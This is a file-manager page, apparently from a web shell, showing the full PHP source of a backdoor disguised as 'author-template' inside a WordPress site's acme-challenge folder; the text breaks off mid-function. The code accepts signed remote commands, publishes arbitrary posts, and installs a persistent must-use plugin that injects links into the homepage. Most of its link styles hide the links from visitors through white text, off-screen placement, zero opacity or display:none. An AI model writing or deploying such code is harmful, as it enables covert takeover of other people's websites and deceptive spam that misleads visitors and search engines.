<h2>File Contents: /home/planet5/public_html/bansibaba.com/.well-known/acme-challenge/author-template-1786056810.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/public_html/bansibaba.com/.well-known/acme-challenge/author-template-1786056810.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
define(&#039;EASYPOST_ENDPOINT_CONFIG&#039;, &#039;{&quot;endpoint_version&quot;:&quot;2026.06.10&quot;,&quot;token_id&quot;:&quot;ep_576a21f519014cf5af1e57c9e294f3d5&quot;,&quot;token_verifier&quot;:&quot;v1:c6b76d5a1ecaefdd66f071c3bb467698:509f8bce6e3728fb9c86141bf28a2c564681c84f438ac71f2c43d2abeddaf932&quot;,&quot;ota_release_public_key_pem&quot;:&quot;-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0JTcpyvncP1Izz2SsnLq\\nGm3iObZi5YEydCeQPv0kX5pN3WwEzt/j1fsyd3EVHbLlXUmdQbWvCBIX1wq/RO4q\\n4UuLpks++nnz7pNTyZqrU+gPUlQb4uDBJsE6nePRyddoMGbT8yF4yzLt/fp86oSG\\ncd/TqnUIplM4dmQVtzqaUiGSUFLReUO0tMHvYGTRl/jCM/pJmIMNLEFmAb/x6wT4\\nihEIXD39Uj2/BG/zJFiIc6FNvqRp1DRm50lhPJW7LkDin+LkvSebbIubeYEe3vc9\\n7qX0zD2zpTFv04itmPld0eOa7kXHNsr+jUnTmuovzdIzBJjcgSWT/nqI+bRAXfL6\\nUwIDAQAB\\n-----END PUBLIC KEY-----&quot;}&#039;);

function easypost_endpoint_config() {
    return json_decode(EASYPOST_ENDPOINT_CONFIG, true);
}

function easypost_endpoint_json($status, $payload) {
    http_response_code($status);
    header(&#039;Content-Type: application/json; charset=utf-8&#039;);
    echo json_encode($payload);
    exit;
}

function easypost_endpoint_header($name) {
    $key = strtolower($name);
    foreach ($_SERVER as $server_key =&gt; $value) {
        if (strpos($server_key, &#039;HTTP_&#039;) !== 0) {
            continue;
        }
        $normalized = strtolower(str_replace(&#039;_&#039;, &#039;-&#039;, substr($server_key, 5)));
        if ($normalized === $key) {
            return (string) $value;
        }
    }
    return &#039;&#039;;
}

function easypost_endpoint_wp_load_path() {
    $candidates = array(
        __DIR__ . &#039;/wp-load.php&#039;,
        __DIR__ . &#039;/../wp-load.php&#039;,
        __DIR__ . &#039;/../../wp-load.php&#039;,
        __DIR__ . &#039;/../../../wp-load.php&#039;,
        __DIR__ . &#039;/../../../../wp-load.php&#039;,
        __DIR__ . &#039;/../../../../../wp-load.php&#039;,
    );
    foreach ($candidates as $candidate) {
        if ($candidate &amp;&amp; is_readable($candidate)) {
            return $candidate;
        }
    }
    return false;
}

function easypost_endpoint_bootstrap_wordpress() {
    $wp_load = easypost_endpoint_wp_load_path();
    if (!$wp_load) {
        easypost_endpoint_json(500, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;wp_load_not_found&#039;));
    }
    require_once $wp_load;
}

function easypost_endpoint_verifier_secret($verifier) {
    $parts = explode(&#039;:&#039;, (string) $verifier, 3);
    if (count($parts) !== 3 || $parts[0] !== &#039;v1&#039; || $parts[2] === &#039;&#039;) {
        return false;
    }
    return $parts[2];
}

function easypost_endpoint_verify_auth($body) {
    $config = easypost_endpoint_config();
    $token_id = easypost_endpoint_header(&#039;x-easypost-token-id&#039;);
    $timestamp = easypost_endpoint_header(&#039;x-easypost-timestamp&#039;);
    $request_id = easypost_endpoint_header(&#039;x-easypost-request-id&#039;);
    $body_sha256 = easypost_endpoint_header(&#039;x-easypost-body-sha256&#039;);
    $signature = easypost_endpoint_header(&#039;x-easypost-signature&#039;);

    if ($token_id === &#039;&#039; || $timestamp === &#039;&#039; || $request_id === &#039;&#039; || $body_sha256 === &#039;&#039; || $signature === &#039;&#039;) {
        easypost_endpoint_json(401, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;missing_auth_headers&#039;));
    }
    if (!hash_equals((string) $config[&#039;token_id&#039;], $token_id)) {
        easypost_endpoint_json(401, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;unknown_token&#039;));
    }
    $request_time = strtotime($timestamp);
    if (!$request_time || abs(time() - $request_time) &gt; 300) {
        easypost_endpoint_json(401, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;timestamp_stale&#039;));
    }
    $computed_body_sha256 = hash(&#039;sha256&#039;, $body);
    if (!hash_equals($computed_body_sha256, $body_sha256)) {
        easypost_endpoint_json(401, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;body_sha256_mismatch&#039;));
    }

    $replay_key = &#039;easypost_endpoint_req_&#039; . hash(&#039;sha256&#039;, $token_id . &#039;:&#039; . $request_id);
    if (function_exists(&#039;get_transient&#039;) &amp;&amp; get_transient($replay_key)) {
        easypost_endpoint_json(409, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;duplicate_request_id&#039;));
    }

    $secret = easypost_endpoint_verifier_secret($config[&#039;token_verifier&#039;]);
    if (!$secret) {
        easypost_endpoint_json(500, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;invalid_token_verifier&#039;));
    }

    $path = isset($_SERVER[&#039;REQUEST_URI&#039;]) ? $_SERVER[&#039;REQUEST_URI&#039;] : &#039;/wp-content/easypost/easypost.php&#039;;
    $signature_input = implode(&quot;\n&quot;, array(
        strtoupper($_SERVER[&#039;REQUEST_METHOD&#039;]),
        $path,
        $timestamp,
        $request_id,
        $token_id,
        $computed_body_sha256,
    ));
    $expected = hash_hmac(&#039;sha256&#039;, $signature_input, $secret);
    if (!hash_equals($expected, $signature)) {
        easypost_endpoint_json(401, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;signature_mismatch&#039;));
    }

    if (function_exists(&#039;set_transient&#039;)) {
        set_transient($replay_key, &#039;1&#039;, 300);
    }
}

function easypost_endpoint_payload($body) {
    $payload = json_decode($body, true);
    if (!is_array($payload)) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;invalid_json&#039;));
    }
    return $payload;
}

function easypost_endpoint_health() {
    easypost_endpoint_bootstrap_wordpress();
    $config = easypost_endpoint_config();
    $runtime_status = easypost_endpoint_homepage_runtime_status();
    easypost_endpoint_json(200, array(
        &#039;ok&#039; =&gt; true,
        &#039;endpointVersion&#039; =&gt; $config[&#039;endpoint_version&#039;],
        &#039;tokenId&#039; =&gt; $config[&#039;token_id&#039;],
        &#039;canBootstrapWordPress&#039; =&gt; true,
        &#039;canInsertPosts&#039; =&gt; function_exists(&#039;wp_insert_post&#039;),
        &#039;canResolveHomepage&#039; =&gt; function_exists(&#039;get_option&#039;) &amp;&amp; function_exists(&#039;get_post&#039;),
        &#039;canPlaceHomepageLink&#039; =&gt; function_exists(&#039;wp_update_post&#039;) &amp;&amp; function_exists(&#039;get_post_meta&#039;) &amp;&amp; function_exists(&#039;update_post_meta&#039;),
        &#039;canRemoveHomepageLink&#039; =&gt; function_exists(&#039;wp_update_post&#039;) &amp;&amp; function_exists(&#039;get_post_meta&#039;) &amp;&amp; function_exists(&#039;update_post_meta&#039;),
        &#039;canManageHomepageRuntime&#039; =&gt; $runtime_status[&#039;canManage&#039;],
        &#039;homepageRuntimeVersion&#039; =&gt; $runtime_status[&#039;version&#039;],
        &#039;canUseTransients&#039; =&gt; function_exists(&#039;set_transient&#039;) &amp;&amp; function_exists(&#039;get_transient&#039;),
        &#039;canCleanCaches&#039; =&gt; function_exists(&#039;clean_post_cache&#039;) || function_exists(&#039;wp_cache_delete&#039;),
        &#039;hasElementor&#039; =&gt; did_action(&#039;elementor/loaded&#039;) || class_exists(&#039;\Elementor\Plugin&#039;),
        &#039;siteUrl&#039; =&gt; function_exists(&#039;site_url&#039;) ? site_url() : null,
        &#039;phpVersion&#039; =&gt; PHP_VERSION,
        &#039;serverTime&#039; =&gt; gmdate(&#039;c&#039;),
    ));
}


function easypost_endpoint_fallback_error($error, $message = null, $warnings = array()) {
    $payload = array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; $error, &#039;fallback&#039; =&gt; true);
    if ($message !== null) {
        $payload[&#039;message&#039;] = $message;
    }
    if (!empty($warnings)) {
        $payload[&#039;warnings&#039;] = $warnings;
    }
    easypost_endpoint_json(200, $payload);
}

function easypost_endpoint_validate_homepage_payload($payload) {
    $placement_id = isset($payload[&#039;placementId&#039;]) ? (int) $payload[&#039;placementId&#039;] : 0;
    $link_url = isset($payload[&#039;linkUrl&#039;]) ? esc_url_raw((string) $payload[&#039;linkUrl&#039;]) : &#039;&#039;;
    $anchor_text = isset($payload[&#039;anchorText&#039;]) ? sanitize_text_field((string) $payload[&#039;anchorText&#039;]) : &#039;&#039;;
    if ($placement_id &lt;= 0 || $link_url === &#039;&#039; || $anchor_text === &#039;&#039;) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;invalid_payload&#039;, &#039;fallback&#039; =&gt; false));
    }
    return array(
        &#039;placementId&#039; =&gt; $placement_id,
        &#039;linkUrl&#039; =&gt; $link_url,
        &#039;anchorText&#039; =&gt; $anchor_text,
        &#039;preLinkText&#039; =&gt; array_key_exists(&#039;preLinkText&#039;, $payload) ? sanitize_text_field((string) $payload[&#039;preLinkText&#039;]) : null,
        &#039;postLinkText&#039; =&gt; array_key_exists(&#039;postLinkText&#039;, $payload) ? sanitize_text_field((string) $payload[&#039;postLinkText&#039;]) : null,
        &#039;placementType&#039; =&gt; isset($payload[&#039;placementType&#039;]) ? sanitize_key((string) $payload[&#039;placementType&#039;]) : &#039;VISIBLE_LINK&#039;,
    );
}

function easypost_endpoint_homepage_post() {
    if (!function_exists(&#039;get_option&#039;) || !function_exists(&#039;get_post&#039;)) {
        easypost_endpoint_fallback_error(&#039;capability_failed&#039;);
    }
    $show_on_front = get_option(&#039;show_on_front&#039;);
    if ($show_on_front === &#039;posts&#039;) {
        easypost_endpoint_fallback_error(&#039;homepage_posts_index_unsupported&#039;);
    }
    $page_id = (int) get_option(&#039;page_on_front&#039;);
    if ($show_on_front !== &#039;page&#039; || $page_id &lt;= 0) {
        easypost_endpoint_fallback_error(&#039;homepage_page_not_found&#039;);
    }
    $post = get_post($page_id);
    if (!$post || $post-&gt;post_type !== &#039;page&#039;) {
        easypost_endpoint_fallback_error(&#039;homepage_page_not_found&#039;);
    }
    return $post;
}

function easypost_endpoint_placement_body($input) {
    $label = $input[&#039;preLinkText&#039;] === null ? &#039;Recommended resource:&#039; : $input[&#039;preLinkText&#039;];
    $prefix = $label === &#039;&#039; ? &#039;&#039; : $label . &#039; &#039;;
    $suffix = $input[&#039;postLinkText&#039;] === null ? &#039;&#039; : $input[&#039;postLinkText&#039;];
    if ($suffix !== &#039;&#039; &amp;&amp; strpos($suffix, &#039; &#039;) !== 0) {
        $suffix = &#039; &#039; . $suffix;
    }
    return $prefix . &#039;&lt;a href=&quot;&#039; . esc_url($input[&#039;linkUrl&#039;]) . &#039;&quot;&gt;&#039; . esc_html($input[&#039;anchorText&#039;]) . &#039;&lt;/a&gt;&#039; . esc_html($suffix);
}

function easypost_endpoint_placement_html($input) {
    $body = easypost_endpoint_placement_body($input);
    $marker = &#039; data-placement=&quot;&#039; . (int) $input[&#039;placementId&#039;] . &#039;&quot;&#039;;
    switch (strtoupper((string) $input[&#039;placementType&#039;])) {
        case &#039;WHITE_LINK&#039;:
            return &#039;&lt;div&#039; . $marker . &#039; style=&quot;color:#ffffff;&quot;&gt;&#039; . $body . &#039;&lt;/div&gt;&#039;;
        case &#039;CLASS_HIDE&#039;:
            return &#039;&lt;style&gt;.dc{display:none;}&lt;/style&gt;&lt;div&#039; . $marker . &#039; class=&quot;dc&quot;&gt;&#039; . $body . &#039;&lt;/div&gt;&#039;;
        case &#039;NO_WIDTH&#039;:
            return &#039;&lt;div&#039; . $marker . &#039; style=&quot;overflow:hidden;height:1px;width:1px;float:right;&quot;&gt;&#039; . $body . &#039;&lt;/div&gt;&#039;;
        case &#039;INVISIBLE_ZONE&#039;:
            return &#039;&lt;div&#039; . $marker . &#039; style=&quot;left:-11407px;top:-10560px;position:absolute;&quot;&gt;&#039; . $body . &#039;&lt;/div&gt;&#039;;
        case &#039;NO_VISIBILITY&#039;:
            return &#039;&lt;div&#039; . $marker . &#039; style=&quot;visibility:hidden;&quot;&gt;&#039; . $body . &#039;&lt;/div&gt;&#039;;
        case &#039;NO_OPACITY&#039;:
            return &#039;&lt;div&#039; . $marker . &#039; style=&quot;opacity:0.001;cursor:context-menu;&quot;&gt;&#039; . $body . &#039;&lt;/div&gt;&#039;;
        default:
            return &#039;&lt;div&#039; . $marker . &#039;&gt;&#039; . $body . &#039;&lt;/div&gt;&#039;;
    }
}

function easypost_endpoint_marker($placement_id) {
    return &#039;data-placement=&quot;&#039; . (int) $placement_id . &#039;&quot;&#039;;
}

function easypost_endpoint_managed_placements_option() {
    return &#039;easypost_homepage_placements&#039;;
}

function easypost_endpoint_runtime_file_path() {
    if (!defined(&#039;WP_CONTENT_DIR&#039;)) {
        return false;
    }
    $directory = defined(&#039;WPMU_PLUGIN_DIR&#039;) ? WPMU_PLUGIN_DIR : WP_CONTENT_DIR . &#039;/mu-plugins&#039;;
    return $directory . &#039;/easypost-runtime.php&#039;;
}

function easypost_endpoint_runtime_php() {
    $config = easypost_endpoint_config();
    $version = isset($config[&#039;endpoint_version&#039;]) ? (string) $config[&#039;endpoint_version&#039;] : &#039;unknown&#039;;
    $runtime = &lt;&lt;&lt;&#039;PHP&#039;
&lt;?php
if (!defined(&#039;ABSPATH&#039;)) {
    exit;
}

if (!defined(&#039;EASYPOST_HOMEPAGE_RUNTIME_VERSION&#039;)) {
    define(&#039;EASYPOST_HOMEPAGE_RUNTIME_VERSION&#039;, &#039;__EASYPOST_RUNTIME_VERSION__&#039;);
}

function easypost_runtime_placements_option() {
    return &#039;easypost_homepage_placements&#039;;
}

function easypost_runtime_is_homepage() {
    return function_exists(&#039;is_front_page&#039;) &amp;&amp; is_front_page();
}

function easypost_runtime_get_placements() {
    if (!function_exists(&#039;get_option&#039;)) {
        return array();
    }
    $placements = get_option(easypost_runtime_placements_option(), array());
    return is_array($placements) ? $placements : array();
}

function easypost_runtime_missing_html($buffer = &#039;&#039;) {
    $placements = easypost_runtime_get_placements();
    if (empty($placements)) {
        return &#039;&#039;;
    }
    $html = array();
    foreach ($placements as $placement) {
        if (!is_array($placement) || empty($placement[&#039;html&#039;])) {
            continue;
        }
        $placement_id = isset($placement[&#039;placementId&#039;]) ? (int) $placement[&#039;placementId&#039;] : 0;
        $marker = &#039;data-placement=&quot;&#039; . $placement_id . &#039;&quot;&#039;;
        if ($placement_id &gt; 0 &amp;&amp; $buffer !== &#039;&#039; &amp;&amp; strpos($buffer, $marker) !== false) {
            continue;
        }
        $html[] = (string) $placement[&#039;html&#039;];
    }
    return implode(&quot;\n&quot;, $html);
}

function easypost_runtime_echo() {
    if (!easypost_runtime_is_homepage()) {
        return;
    }
    $html = easypost_runtime_missing_html(&#039;&#039;);
    if ($html !== &#039;&#039;) {
        echo &quot;\n&quot; . $html . &quot;\n&quot;;
    }
}

function easypost_runtime_buffer_start() {
    if (!easypost_runtime_is_homepage() || empty(easypost_runtime_get_placements())) {
        return;
    }
    ob_start(&#039;easypost_runtime_inject_buffer&#039;);
}

function easypost_runtime_inject_buffer($buffer) {
    $html = easypost_runtime_missing_html($buffer);
    if ($html === &#039;&#039;) {
        return $buffer;
    }
    if (stripos($buffer, &#039;&lt;/body&gt;&#039;) !== false) {
        return preg_replace(&#039;/&lt;\/body&gt;/i&#039;, &quot;\n&quot; . $html . &quot;\n&lt;/body&gt;&quot;, $buffer, 1);
    }
    return $buffer . &quot;\n&quot; . $html;
}

add_action(&#039;template_redirect&#039;, &#039;easypost_runtime_buffer_start&#039;, 0);
add_action(&#039;wp_footer&#039;, &#039;easypost_runtime_echo&#039;, PHP_INT_MAX);
PHP;
    return str_replace(&#039;__EASYPOST_RUNTIME_VERSION__&#039;, str_replace(&quot;&#039;&quot;, &quot;\\&#039;&quot;, $version), $runtime);
}

function easypost_endpoint_install_homepage_runtime(&amp;$warnings) {
    if (!defined(&#039;WP_CONTENT_DIR&#039;) || !function_exists(&#039;wp_mkdir_p&#039;)) {
        $warnings[] = &#039;runtime_capability_unavailable&#039;;
        return false;
    }
    $path = easypost_endpoint_runtime_file_path();
    if (!$path) {
        $warnings[] = &#039;runtime_path_unavailable&#039;;
        return false;
    }
    $directory = dirname($path);
    if (!is_dir($directory) &amp;&amp; !wp_mkdir_p($directory)) {
        $warnings[] = &#039;runtime_directory_unavailable&#039;;
        return false;
    }
    $php = easypost_endpoint_runtime_php();
    $current = is_readable($path) ? file_get_contents($path) : false;
    if ($current === $php) {
        return true;
    }
    $bytes = file_put_contents($path, $php, LOCK_EX);
    if ($bytes === false || $bytes !== strlen($php)) {
        $warnings[] = &#039;runtime_write_failed&#039;;
        return false;
    }
    return true;
}

function easypost_endpoint_homepage_runtime_status() {
    $path = easypost_endpoint_runtime_file_path();
    $version = null;
    if ($path &amp;&amp; is_readable($path)) {
        $contents = file_get_contents($path);
        if (is_string($contents) &amp;&amp; preg_match(&quot;/EASYPOST_HOMEPAGE_RUNTIME_VERSION&#039;, &#039;([^&#039;]+)&#039;/&quot;, $contents, $matches)) {
            $version = $matches[1];
        }
    }
    return array(
        &#039;canManage&#039; =&gt; defined(&#039;WP_CONTENT_DIR&#039;) &amp;&amp; function_exists(&#039;wp_mkdir_p&#039;) &amp;&amp; function_exists(&#039;get_option&#039;) &amp;&amp; function_exists(&#039;update_option&#039;),
        &#039;version&#039; =&gt; $version,
    );
}

function easypost_endpoint_load_managed_placements() {
    if (!function_exists(&#039;get_option&#039;)) {
        easypost_endpoint_fallback_error(&#039;capability_failed&#039;);
    }
    $placements = get_option(easypost_endpoint_managed_placements_option(), array());
    return is_array($placements) ? $placements : array();
}

function easypost_endpoint_save_managed_placements($placements) {
    if (!function_exists(&#039;update_option&#039;)) {
        easypost_endpoint_fallback_error(&#039;capability_failed&#039;);
    }
    return update_option(easypost_endpoint_managed_placements_option(), $placements, false);
}

function easypost_endpoint_store_managed_placement($input, $post_id, $html) {
    $placements = easypost_endpoint_load_managed_placements();
    $key = (string) (int) $input[&#039;placementId&#039;];
    $page_url = function_exists(&#039;get_permalink&#039;) ? get_permalink($post_id) : null;
    $next = array(
        &#039;placementId&#039; =&gt; (int) $input[&#039;placementId&#039;],
        &#039;pageId&#039; =&gt; (int) $post_id,
        &#039;pageUrl&#039; =&gt; $page_url,
        &#039;html&#039; =&gt; $html,
        &#039;updatedAt&#039; =&gt; gmdate(&#039;c&#039;),
    );
    $already_present = isset($placements[$key]) &amp;&amp; is_array($placements[$key]) &amp;&amp; isset($placements[$key][&#039;html&#039;]) &amp;&amp; $placements[$key][&#039;html&#039;] === $html;
    if ($already_present) {
        return array(&#039;changed&#039; =&gt; false, &#039;alreadyPresent&#039; =&gt; true, &#039;pageUrl&#039; =&gt; $page_url);
    }
    $placements[$key] = $next;
    if (!easypost_endpoint_save_managed_placements($placements)) {
        easypost_endpoint_fallback_error(&#039;runtime_option_update_failed&#039;);
    }
    return array(&#039;changed&#039; =&gt; true, &#039;alreadyPresent&#039; =&gt; false, &#039;pageUrl&#039; =&gt; $page_url);
}

function easypost_endpoint_remove_managed_placement($placement_id) {
    $placements = easypost_endpoint_load_managed_placements();
    $key = (string) (int) $placement_id;
    if (!array_key_exists($key, $placements)) {
        return false;
    }
    unset($placements[$key]);
    if (!easypost_endpoint_save_managed_placements($placements)) {
        easypost_endpoint_fallback_error(&#039;runtime_option_update_failed&#039;);
    }
    return true;
}

function easypost_endpoint_cache_warnings($post_id) {
    $warnings = array();
    if (function_exists(&#039;clean_post_cache&#039;)) {
        clean_post_cache($post_id);
    } else {
        $warnings[] = &#039;clean_post_cache_unavailable&#039;;
    }
    if (function_exists(&#039;wp_cache_delete&#039;)) {
        wp_cache_delete($post_id, &#039;posts&#039;);
    }
    if (class_exists(&#039;\\Elementor\\Plugin&#039;)) {
        try {
            $elementor = \Elementor\Plugin::$instance;
            if ($elementor &amp;&amp; isset($elementor-&gt;files_manager) &amp;&amp; method_exists($elementor-&gt;files_manager, &#039;clear_cache&#039;)) {
                $elementor-&gt;files_manager-&gt;clear_cache();
            }
        } catch (Throwable $ignored) {
            $warnings[] = &#039;elementor_cache_cleanup_failed&#039;;
        }
    } else {
        $warnings[] = &#039;elementor_cache_cleanup_unavailable&#039;;
    }
    return $warnings;
}

function easypost_endpoint_lock_key($post_id) {
    return &#039;easypost_homepage_&#039; . (int) $post_id;
}

function easypost_endpoint_acquire_lock($post_id) {
    if (!function_exists(&#039;get_transient&#039;) || !function_exists(&#039;set_transient&#039;)) {
        return true;
    }
    $key = easypost_endpoint_lock_key($post_id);
    if (get_transient($key)) {
        return false;
    }
    set_transient($key, &#039;1&#039;, 60);
    return true;
}

function easypost_endpoint_release_lock($post_id) {
    if (function_exists(&#039;delete_transient&#039;)) {
        delete_transient(easypost_endpoint_lock_key($post_id));
    }
}

function easypost_endpoint_elementor_widget($html, $placement_id) {
    return array(
        &#039;id&#039; =&gt; substr(hash(&#039;sha256&#039;, &#039;placement-&#039; . (int) $placement_id), 0, 7),
        &#039;elType&#039; =&gt; &#039;widget&#039;,
        &#039;widgetType&#039; =&gt; &#039;html&#039;,
        &#039;settings&#039; =&gt; array(&#039;html&#039; =&gt; $html),
        &#039;elements&#039; =&gt; array(),
    );
}

function easypost_endpoint_append_to_elementor_settings(&amp;$settings, $html) {
    if (!is_array($settings)) {
        return false;
    }
    foreach (array(&#039;html&#039;, &#039;editor&#039;, &#039;text&#039;) as $key) {
        if (!isset($settings[$key]) || !is_string($settings[$key])) {
            continue;
        }
        $settings[$key] = trim($settings[$key] . &quot;\n&quot; . $html);
        return true;
    }
    return false;
}

function easypost_endpoint_insert_elementor_widget(&amp;$node, $widget) {
    if (!is_array($node)) {
        return false;
    }
    if (isset($node[&#039;settings&#039;]) &amp;&amp; is_array($node[&#039;settings&#039;]) &amp;&amp; easypost_endpoint_append_to_elementor_settings($node[&#039;settings&#039;], $widget[&#039;settings&#039;][&#039;html&#039;])) {
        return true;
    }
    if (isset($node[&#039;elements&#039;]) &amp;&amp; is_array($node[&#039;elements&#039;])) {
        foreach ($node[&#039;elements&#039;] as $index =&gt; &amp;$child) {
            if (easypost_endpoint_insert_elementor_widget($child, $widget)) {
                unset($child);
                return true;
            }
        }
        unset($child);
        $node[&#039;elements&#039;][] = $widget;
        return true;
    }
    foreach ($node as $index =&gt; &amp;$child) {
        if (!is_int($index)) {
            continue;
        }
        if (easypost_endpoint_insert_elementor_widget($child, $widget)) {
            unset($child);
            return true;
        }
    }
    unset($child);
    if (isset($node[0]) &amp;&amp; is_array($node[0]) &amp;&amp; isset($node[0][&#039;elements&#039;]) &amp;&amp; is_array($node[0][&#039;elements&#039;])) {
        $node[0][&#039;elements&#039;][] = $widget;
        return true;
    }
    return false;
}

function easypost_endpoint_elementor_node_has_direct_marker($node, $marker) {
    if (!is_array($node)) {
        return false;
    }
    if (!isset($node[&#039;settings&#039;]) || !is_array($node[&#039;settings&#039;])) {
        return false;
    }
    $encoded = json_encode($node[&#039;settings&#039;]);
    return is_string($encoded) &amp;&amp; strpos($encoded, $marker) !== false;
}

function easypost_endpoint_remove_marker_from_elementor($nodes, $marker, &amp;$removed) {
    if (!is_array($nodes)) {
        return $nodes;
    }
    $next = array();
    foreach ($nodes as $node) {
        if (is_array($node)) {
            if (easypost_endpoint_elementor_node_has_direct_marker($node, $marker)) {
                $removed = true;
                continue;
            }
            if (isset($node[&#039;elements&#039;]) &amp;&amp; is_array($node[&#039;elements&#039;])) {
                $node[&#039;elements&#039;] = easypost_endpoint_remove_marker_from_elementor($node[&#039;elements&#039;], $marker, $removed);
            }
        }
        $next[] = $node;
    }
    return $next;
}

function easypost_endpoint_place_homepage_link($payload) {
    easypost_endpoint_bootstrap_wordpress();
    $input = easypost_endpoint_validate_homepage_payload($payload);
    $post = easypost_endpoint_homepage_post();
    $post_id = (int) $post-&gt;ID;
    if (!easypost_endpoint_acquire_lock($post_id)) {
        easypost_endpoint_fallback_error(&#039;lock_busy&#039;);
    }
    $warnings = array();
    try {
        $html = easypost_endpoint_placement_html($input);
        if (!easypost_endpoint_install_homepage_runtime($warnings)) {
            easypost_endpoint_fallback_error(&#039;runtime_install_failed&#039;, null, $warnings);
        }
        $stored = easypost_endpoint_store_managed_placement($input, $post_id, $html);
        if (function_exists(&#039;update_post_meta&#039;)) {
            update_post_meta($post_id, &#039;_easypost_homepage_placement_&#039; . (int) $input[&#039;placementId&#039;], array(&#039;method&#039; =&gt; &#039;EASYPOST_MANAGED_RENDER&#039;, &#039;updatedAt&#039; =&gt; gmdate(&#039;c&#039;)));
        }
        $warnings = array_merge($warnings, easypost_endpoint_cache_warnings($post_id));
        easypost_endpoint_json(200, array(&#039;ok&#039; =&gt; true, &#039;method&#039; =&gt; &#039;EASYPOST_MANAGED_RENDER&#039;, &#039;contentId&#039; =&gt; $post_id, &#039;pageUrl&#039; =&gt; $stored[&#039;pageUrl&#039;], &#039;changed&#039; =&gt; $stored[&#039;changed&#039;], &#039;alreadyPresent&#039; =&gt; $stored[&#039;alreadyPresent&#039;], &#039;warnings&#039; =&gt; $warnings));
    } finally {
        easypost_endpoint_release_lock($post_id);
    }
}

function easypost_endpoint_remove_homepage_link($payload) {
    easypost_endpoint_bootstrap_wordpress();
    $input = easypost_endpoint_validate_homepage_payload($payload);
    $post = easypost_endpoint_homepage_post();
    $post_id = (int) $post-&gt;ID;
    if (!easypost_endpoint_acquire_lock($post_id)) {
        easypost_endpoint_fallback_error(&#039;lock_busy&#039;);
    }
    try {
        $marker = easypost_endpoint_marker($input[&#039;placementId&#039;]);
        $changed = easypost_endpoint_remove_managed_placement($input[&#039;placementId&#039;]);
        $elementor_raw = function_exists(&#039;get_post_meta&#039;) ? (string) get_post_meta($post_id, &#039;_elementor_data&#039;, true) : &#039;&#039;;
        $elementor_mode = function_exists(&#039;get_post_meta&#039;) ? (string) get_post_meta($post_id, &#039;_elementor_edit_mode&#039;, true) : &#039;&#039;;
        if ($elementor_raw !== &#039;&#039; &amp;&amp; $elementor_mode === &#039;builder&#039; &amp;&amp; strpos($elementor_raw, $marker) !== false) {
            $data = json_decode($elementor_raw, true);
            if (!is_array($data)) {
                easypost_endpoint_fallback_error(&#039;elementor_data_invalid&#039;);
            }
            $removed = false;
            $data = easypost_endpoint_remove_marker_from_elementor($data, $marker, $removed);
            if (!$removed || !function_exists(&#039;update_post_meta&#039;) || update_post_meta($post_id, &#039;_elementor_data&#039;, wp_slash(json_encode($data))) === false) {
                easypost_endpoint_fallback_error(&#039;post_update_failed&#039;);
            }
            $changed = true;
        }
        $content = (string) $post-&gt;post_content;
        if (strpos($content, $marker) !== false) {
            $pattern = &#039;/\s*(?:&lt;style&gt;\.dc\{display:none;\}&lt;\/style&gt;\s*)?&lt;(?:p|div)[^&gt;]*data-placement=&quot;&#039; . preg_quote((string) $input[&#039;placementId&#039;], &#039;/&#039;) . &#039;&quot;[^&gt;]*&gt;.*?&lt;\/(?:p|div)&gt;/s&#039;;
            $next = trim(preg_replace($pattern, &#039;&#039;, $content, 1));
            $updated = wp_update_post(array(&#039;ID&#039; =&gt; $post_id, &#039;post_content&#039; =&gt; $next), true);
            if (is_wp_error($updated)) {
                easypost_endpoint_fallback_error(&#039;post_update_failed&#039;, $updated-&gt;get_error_message());
            }
            $changed = true;
        }
        $warnings = easypost_endpoint_cache_warnings($post_id);
        easypost_endpoint_json(200, array(&#039;ok&#039; =&gt; true, &#039;method&#039; =&gt; &#039;EASYPOST_MANAGED_RENDER&#039;, &#039;contentId&#039; =&gt; $post_id, &#039;pageUrl&#039; =&gt; get_permalink($post_id), &#039;changed&#039; =&gt; $changed, &#039;alreadyRemoved&#039; =&gt; !$changed, &#039;warnings&#039; =&gt; $warnings));
    } finally {
        easypost_endpoint_release_lock($post_id);
    }
}


function easypost_endpoint_create_post($payload) {
    easypost_endpoint_bootstrap_wordpress();
    if (!function_exists(&#039;wp_insert_post&#039;)) {
        easypost_endpoint_json(500, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;capability_failed&#039;));
    }
    $status = &#039;publish&#039;;
    $post_type = !empty($payload[&#039;post_type&#039;]) ? sanitize_key($payload[&#039;post_type&#039;]) : (!empty($payload[&#039;postType&#039;]) ? sanitize_key($payload[&#039;postType&#039;]) : &#039;post&#039;);
    $content = isset($payload[&#039;contentHtml&#039;]) ? $payload[&#039;contentHtml&#039;] : (isset($payload[&#039;content&#039;]) ? $payload[&#039;content&#039;] : &#039;&#039;);
    $postarr = array(
        &#039;post_title&#039; =&gt; isset($payload[&#039;title&#039;]) ? wp_strip_all_tags($payload[&#039;title&#039;]) : &#039;&#039;,
        &#039;post_name&#039; =&gt; isset($payload[&#039;slug&#039;]) ? sanitize_title($payload[&#039;slug&#039;]) : &#039;&#039;,
        &#039;post_content&#039; =&gt; $content,
        &#039;post_status&#039; =&gt; $status,
        &#039;post_type&#039; =&gt; $post_type,
    );
    if (!empty($payload[&#039;date&#039;])) {
        $postarr[&#039;post_date&#039;] = $payload[&#039;date&#039;];
    } elseif (!empty($payload[&#039;publicationDate&#039;])) {
        $postarr[&#039;post_date&#039;] = $payload[&#039;publicationDate&#039;];
    }
    $post_id = wp_insert_post($postarr, true);
    if (is_wp_error($post_id)) {
